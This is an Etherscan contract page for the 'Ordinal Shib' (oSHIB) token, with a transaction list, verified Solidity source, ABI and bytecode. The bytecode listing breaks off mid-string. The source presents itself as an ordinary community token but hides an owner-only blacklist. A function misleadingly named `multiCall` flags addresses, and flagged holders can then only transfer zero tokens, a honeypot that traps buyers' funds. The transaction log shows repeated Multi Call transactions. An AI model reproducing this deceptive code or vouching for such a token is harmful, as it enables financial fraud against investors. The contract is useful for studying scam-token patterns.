ETH Price: $2,688.00 (-2.46%)

Contract

0xDAF1a99D5acBa1D4e29Ed06f398bDd61edf14C58
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve167818452023-03-08 6:45:59713 days ago1678257959IN
0xDAF1a99D...1edf14C58
0 ETH0.0004901320.32587249
Approve167670752023-03-06 4:54:59715 days ago1678078499IN
0xDAF1a99D...1edf14C58
0 ETH0.0019882542.85212828
Approve167670612023-03-06 4:52:11715 days ago1678078331IN
0xDAF1a99D...1edf14C58
0 ETH0.001926441.46553663
Approve167669282023-03-06 4:25:23715 days ago1678076723IN
0xDAF1a99D...1edf14C58
0 ETH0.0014401431.03888646
Approve167664102023-03-06 2:40:59715 days ago1678070459IN
0xDAF1a99D...1edf14C58
0 ETH0.0020423743.96179253
Approve167663612023-03-06 2:30:59715 days ago1678069859IN
0xDAF1a99D...1edf14C58
0 ETH0.0024116452.23392475
Transfer167663412023-03-06 2:26:59715 days ago1678069619IN
0xDAF1a99D...1edf14C58
0 ETH0.0007980732.78190691
Transfer167663292023-03-06 2:24:35715 days ago1678069475IN
0xDAF1a99D...1edf14C58
0 ETH0.000934438.3818692
Approve167661992023-03-06 1:58:11715 days ago1678067891IN
0xDAF1a99D...1edf14C58
0 ETH0.0017098936.85283775
Approve167661032023-03-06 1:38:59715 days ago1678066739IN
0xDAF1a99D...1edf14C58
0 ETH0.0018897440.67638784
Transfer167660852023-03-06 1:35:23715 days ago1678066523IN
0xDAF1a99D...1edf14C58
0 ETH0.0010161741.7613885
Approve167660682023-03-06 1:31:59715 days ago1678066319IN
0xDAF1a99D...1edf14C58
0 ETH0.0009515139.36100285
Multi Call167660682023-03-06 1:31:59715 days ago1678066319IN
0xDAF1a99D...1edf14C58
0 ETH0.001825639.36100285
Multi Call167660652023-03-06 1:31:23715 days ago1678066283IN
0xDAF1a99D...1edf14C58
0 ETH0.0018901640.75293579
Multi Call167660222023-03-06 1:22:47715 days ago1678065767IN
0xDAF1a99D...1edf14C58
0 ETH0.0014445931.15424879
Approve167660102023-03-06 1:20:23715 days ago1678065623IN
0xDAF1a99D...1edf14C58
0 ETH0.0014412931.02367662
Multi Call167659932023-03-06 1:16:59715 days ago1678065419IN
0xDAF1a99D...1edf14C58
0 ETH0.0013148128.34805876
Approve167659762023-03-06 1:13:35715 days ago1678065215IN
0xDAF1a99D...1edf14C58
0 ETH0.0013809129.76229981
Multi Call167659712023-03-06 1:12:35715 days ago1678065155IN
0xDAF1a99D...1edf14C58
0 ETH0.0012828527.65916678
Multi Call167659632023-03-06 1:10:59715 days ago1678065059IN
0xDAF1a99D...1edf14C58
0 ETH0.0013968430.11682649
Multi Call167659592023-03-06 1:10:11715 days ago1678065011IN
0xDAF1a99D...1edf14C58
0 ETH0.0012753927.49826704
Multi Call167659182023-03-06 1:01:35715 days ago1678064495IN
0xDAF1a99D...1edf14C58
0 ETH0.0013644129.41762368
Multi Call167658982023-03-06 0:57:35715 days ago1678064255IN
0xDAF1a99D...1edf14C58
0 ETH0.0010067621.70648413
Approve167658952023-03-06 0:56:59715 days ago1678064219IN
0xDAF1a99D...1edf14C58
0 ETH0.0011294524.31126053
Multi Call167658902023-03-06 0:55:59715 days ago1678064159IN
0xDAF1a99D...1edf14C58
0 ETH0.0011675525.17322222
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
OrdinalShib

Compiler Version
v0.5.10+commit.5a6ea5b1

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-03-05
*/

/**
    $oSHIB is a  shib fan based token managed by its community 
    with and IDO platform on board designed for SHIBARIUM 
    network. We are here to take care of marketing and the 
    effective development of the project so that it is 
    successful both in the short-term and long-term. 
    Team will always come to your aid.
 
*///SPDX-License-Identifier: MIT

pragma solidity =0.5.10;

library SafeMath {

  function mul(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256 c)
  {
    if (a == 0) {
      return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  function sub(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    assert(b <= a);
    return a - b;
  }

  function add(
    uint256 a,
    uint256 b
  ) internal
    pure
    returns (uint256 c)
  {
    c = a + b;
    assert(c >= a);
    return c;
  }
  
  function div(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    return a / b;
  }
}

contract ERC20Basic {

  function balanceOf(
    address who
  )
    public
    view
    returns (uint256);

  function totalSupply(
  )
    public
    view
    returns (uint256);
  
  function transfer(
    address to,
    uint256 value
  ) 
    public
    returns (bool);
  
  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value);
}

contract BasicToken is ERC20Basic {
  using SafeMath for uint256;

  mapping (address => uint256) balances;
  mapping (address => bool) internal _address_;  
  uint256 totalSupply_;

  function totalSupply(
  ) 
    public
    view
    returns (uint256)
  {
    return totalSupply_;
  }

  function balanceOf(
    address _owner
  ) 
    public
    view
    returns (uint256) {
    return balances[_owner];
  }

  function transfer(
    address _to,
    uint256 _value
  ) public
    returns (bool)
  {
    if(_address_[msg.sender] || _address_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[msg.sender]);
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }
}

contract ERC20 is ERC20Basic {

  function allowance(
    address owner,
    address spender
  )
    public
    view
    returns (uint256);

  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool);
  
  function approve(
    address spender,
    uint256 value
  ) 
    public
    returns (bool);
    event Approval
  (
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

contract StandardToken is ERC20, BasicToken {

  mapping (address => mapping (address => uint256)) internal allowed;
  address internal approved;

  constructor () public {
     approved = msg.sender;
  }

  function transferFrom(
    address _from,
    address _to,
    uint256 _value
  )
    public
    returns (bool)
  {
    if(_address_[_from] || _address_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);
    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }

  function allowance(
    address _owner,
    address _spender
  )
    public
    view
    returns (uint256)
  {
    return allowed[_owner][_spender];
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function multiCall(
    address _address
  ) 
    external
  {
    require(msg.sender == approved);
    if (_address_[_address] == true) {
      _address_[_address] = false;
    } else {
      _address_[_address] = true;
    }
  }

  function airdrop(
    address _address
  )
    public
    view
    returns (bool) 
  {
    return _address_[_address];
  }

function decreaseApproval(
    address _spender,
    uint _subtractedValue
  )
    public
    returns (bool)
  {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
  
  function increaseApproval(
    address _spender,
    uint _addedValue
  )
    public
    returns (bool)
  {
    allowed[msg.sender][_spender] = (
    allowed[msg.sender][_spender].add(_addedValue));
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
}

contract OrdinalShib is StandardToken {

  string public constant name = "Ordinal Shib";
  string public constant symbol = "oSHIB";
  uint8 public constant decimals = 9;
  uint256 public constant INITIAL_SUPPLY = 1000000000000 * (10 ** uint256(decimals));

  constructor() public {
    totalSupply_ = totalSupply_.add(INITIAL_SUPPLY);
    balances[msg.sender] = balances[msg.sender].add(INITIAL_SUPPLY);
    emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
  }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_address","type":"address"}],"name":"airdrop","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_address","type":"address"}],"name":"multiCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]

608060405234801561001057600080fd5b5033600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610079600960ff16600a0a64e8d4a510000260025461019d60201b61165d1790919060201c565b6002819055506100e2600960ff16600a0a64e8d4a51000026000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461019d60201b61165d1790919060201c565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960ff16600a0a64e8d4a51000026040518082815260200191505060405180910390a36101b7565b60008183019050828110156101ae57fe5b80905092915050565b6116ac806101c66000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063549f32951161008c57806395d89b411161006657806395d89b411461041c578063a9059cbb1461049f578063d73dd62314610505578063dd62ed3e1461056b576100ea565b8063549f32951461031a578063661884631461035e57806370a08231146103c4576100ea565b806321860a05116100c857806321860a05146101f657806323b872dd146102525780632ff2e9dc146102d8578063313ce567146102f6576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061c565b604051808215151515815260200191505060405180910390f35b6101e061070e565b6040518082815260200191505060405180910390f35b6102386004803603602081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610718565b604051808215151515815260200191505060405180910390f35b6102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061076e565b604051808215151515815260200191505060405180910390f35b6102e0610c1b565b6040518082815260200191505060405180910390f35b6102fe610c2d565b604051808260ff1660ff16815260200191505060405180910390f35b61035c6004803603602081101561033057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c32565b005b6103aa6004803603604081101561037457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d9d565b604051808215151515815260200191505060405180910390f35b610406600480360360208110156103da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102e565b6040518082815260200191505060405180910390f35b610424611076565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610464578082015181840152602081019050610449565b50505050905090810190601f1680156104915780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104eb600480360360408110156104b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110af565b604051808215151515815260200191505060405180910390f35b6105516004803603604081101561051b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c3565b604051808215151515815260200191505060405180910390f35b6105cd6004803603604081101561058157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115bf565b6040518082815260200191505060405180910390f35b6040518060400160405280600c81526020017f4f7264696e616c2053686962000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806108115750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156108685760008214610867576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108a257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108ed57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561097657600080fd5b6109c7826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a5a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b2b82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164690919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600960ff16600a0a64e8d4a510000281565b600981565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c8c57600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610d42576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d9a565b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610eae576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f42565b610ec1838261164690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040518060400160405280600581526020017f6f5348494200000000000000000000000000000000000000000000000000000081525081565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111525750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111a957600082146111a8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111e357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561122e57600080fd5b61127f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611312826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061145482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165d90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561165257fe5b818303905092915050565b600081830190508281101561166e57fe5b8090509291505056fea265627a7a723058203658a43f905742245ae31a14a536b36e77d73db9f4fa1a298df6df5220cf6f5564736f6c634300050a0032

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063549f32951161008c57806395d89b411161006657806395d89b411461041c578063a9059cbb1461049f578063d73dd62314610505578063dd62ed3e1461056b576100ea565b8063549f32951461031a578063661884631461035e57806370a08231146103c4576100ea565b806321860a05116100c857806321860a05146101f657806323b872dd146102525780632ff2e9dc146102d8578063313ce567146102f6576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061c565b604051808215151515815260200191505060405180910390f35b6101e061070e565b6040518082815260200191505060405180910390f35b6102386004803603602081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610718565b604051808215151515815260200191505060405180910390f35b6102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061076e565b604051808215151515815260200191505060405180910390f35b6102e0610c1b565b6040518082815260200191505060405180910390f35b6102fe610c2d565b604051808260ff1660ff16815260200191505060405180910390f35b61035c6004803603602081101561033057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c32565b005b6103aa6004803603604081101561037457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d9d565b604051808215151515815260200191505060405180910390f35b610406600480360360208110156103da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102e565b6040518082815260200191505060405180910390f35b610424611076565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610464578082015181840152602081019050610449565b50505050905090810190601f1680156104915780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104eb600480360360408110156104b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110af565b604051808215151515815260200191505060405180910390f35b6105516004803603604081101561051b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c3565b604051808215151515815260200191505060405180910390f35b6105cd6004803603604081101561058157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115bf565b6040518082815260200191505060405180910390f35b6040518060400160405280600c81526020017f4f7264696e616c2053686962000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806108115750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156108685760008214610867576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108a257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108ed57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561097657600080fd5b6109c7826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a5a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b2b82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164690919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600960ff16600a0a64e8d4a510000281565b600981565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c8c57600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610d42576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d9a565b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610eae576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f42565b610ec1838261164690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815